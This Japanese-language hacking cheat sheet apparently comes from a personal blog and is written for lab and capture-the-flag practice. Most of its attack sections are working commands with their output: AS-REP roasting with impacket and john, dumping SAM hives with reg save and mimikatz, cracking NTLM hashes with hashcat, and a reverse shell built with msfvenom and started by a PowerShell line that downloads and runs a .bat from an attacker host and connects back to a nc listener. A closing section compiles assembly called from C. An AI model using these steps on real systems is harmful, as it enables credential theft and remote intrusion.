Shinobi Cheat Sheet
Web enumeration
nikto
dirb -dirsearch
Privilege Escalation
- PEAS
Windows Attack
- ASREP Roast shinobistyle.hatenablog.com
Post Exploit
-
WinRMを使用した対話型シェル
ASREP Roast
ASREP Roastとは、Kerberos pre-authenticationが無効になっているユーザに対する攻撃。AS_REQリクエストをDCに送り、返ってきたAS_REPメッセージに含まれるデータからパスワードクラックが可能になる。
手順
ユーザ名リストを作成
$ cat users.txt aaa bbb ccc ddd fsmith
impacketを使用してコマンド実行
$ python3 /opt/impacket/examples/GetNPUsers.py DomainName/ -usersfile ./users.txt -format john -outputfile ./out.john -dc-ip <DC IP address> Impacket v0.9.24.dev1+20210702.183028.4821d64e - Copyright 2021 SecureAuth Corporation [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) $ cat out.john $krb5asrep$fsmith@DomainName:aaaaaaaaaaaaaa
得られたハッシュ値をクラック
$ /opt/john/run/john --wordlist=/usr/share/wordlist/rockyou.txt out.john Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x]) PASSWORD ($krb5asrep$fsmith@DomainName) Session completed. `
Reference
SAMファイルからmimikatzとhashcatでクレデンシャルを入手する
手順
ターゲット上で管理者でコマンドプロンプトを開き、SYSTEMとSAMデータをコピーする
C:\>reg save hklm\sam c:\sam The operation completed successfully. C:\>reg save hklm\system c:\system The operation completed successfully.
mimikatzをダウンロードして(管理者権限で)起動
.#####. mimikatz 2.2.0 (x64) #19041 Sep 18 2020 19:18:29 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > https://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/
lsadumpでダンプを試みるも、エラーのメッセージ
mimikatz # lsadump::sam /system:c:\system /sam:c:\sam Domain : DESKTOP-AN3UM48 SysKey : a1667ee7bffe3f9433b66f3abeba491a ERROR kuhl_m_lsadump_sam ; CreateFile (SAM hive) (0x00000002)
privilegeをdebugに指定、再度実行すると、NTLMハッシュが手に入る
mimikatz # privilege::debug Privilege '20' OK mimikatz # mimikatz # lsadump::sam /system:c:\system /sam:c:\sam ... RID : 000003ea (1002) User : vul_user Hash NTLM: 259745cb123a52aa2e693aaacca2db52 ...
入手したハッシュ値をハッシュキャット用に作成
$ cat hash.txt 259745cb123a52aa2e693aaacca2db52
hashcatを実行
$ hashcat -m 1000 -a 0 ./hash.txt ./rockyou.txt hashcat (v6.1.1) starting... OpenCL API (OpenCL 1.2 (Nov 23 2020 03:06:15)) - Platform #1 [Apple] ==================================================================== 259745cb123a52aa2e693aaacca2db52:12345678
パスワードを入手
アドバイス
John The Ripperを利用した場合
$ cat hash.txt
vul_user:259745cb123a52aa2e693aaacca2db52
$ /opt/john/run/john --format=nt hash.txt --wordlist=rockyou.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with no different salts (NT [MD4 256/256 AVX2 8x3])
No password hashes left to crack (see FAQ)
$ /opt/john/run/john --show --format=nt hash.txt
vul_user:12345678
1 password hashes cracked, 0 left
Powershell CLIでエディタを開く
bashが使える。
bash -c “nano filename.txt”
RCEからリバースシェルを取得する
ペイロード作成
$ msfvenom -p cmd/windows/reverse_powershell LHOST=10.10.15.3 LPORT=4444 > aaa.bat $ python3 -m http.server 12345
リスナー作成
$ nc -lnvp 4444
RCEでコード実行
powershell -c "Invoke-WebRequest 'http://10.10.15.3:12345/aaa.bat' -OutFile 'c:\Users\Public\Downloads\aaa.bat';c:\Users\Public\Downloads\aaa.bat"
シェル取得
$ nc -lnvp 4444 Listening on 0.0.0.0 4444 Connection received on 10.10.10.203 59117 Microsoft Windows [Version 10.0.17763.1282] (c) 2018 Microsoft Corporation. All rights reserved. C:\windows\system32\inetsrv>whoami whoami iis apppool\defaultapppool
参考
アセンブラの関数をC言語から実行する
アセンブラの関数をC言語から実行する。
Procedure
.intel_syntax noprefix .global asm3 asm3: push ebp mov ebp,esp xor eax,eax mov ah,BYTE PTR [ebp+0x8] shl ax,0x10 sub al,BYTE PTR [ebp+0xe] add ah,BYTE PTR [ebp+0xc] xor ax,WORD PTR [ebp+0x10] nop pop ebp ret
- 関数を呼ぶメインを準備(main.c)
#include <stdio.h> int asm3(int, int, int); int main(int argc, char* argv[]) { printf("0x%x\n", asm3(0xcdc485c1,0xd6bd5e88,0xe4c1548d)); return 0; }
- コンパイルする
"-m32"で32bitを指定
$ gcc -m32 -c main.c -o main.o
$ gcc -masm=intel -m32 -c test.S -o test.o
実行ファイルをコンパイル、実行
$gcc -m32 test.o main.o -o main $ ./main 0xdcce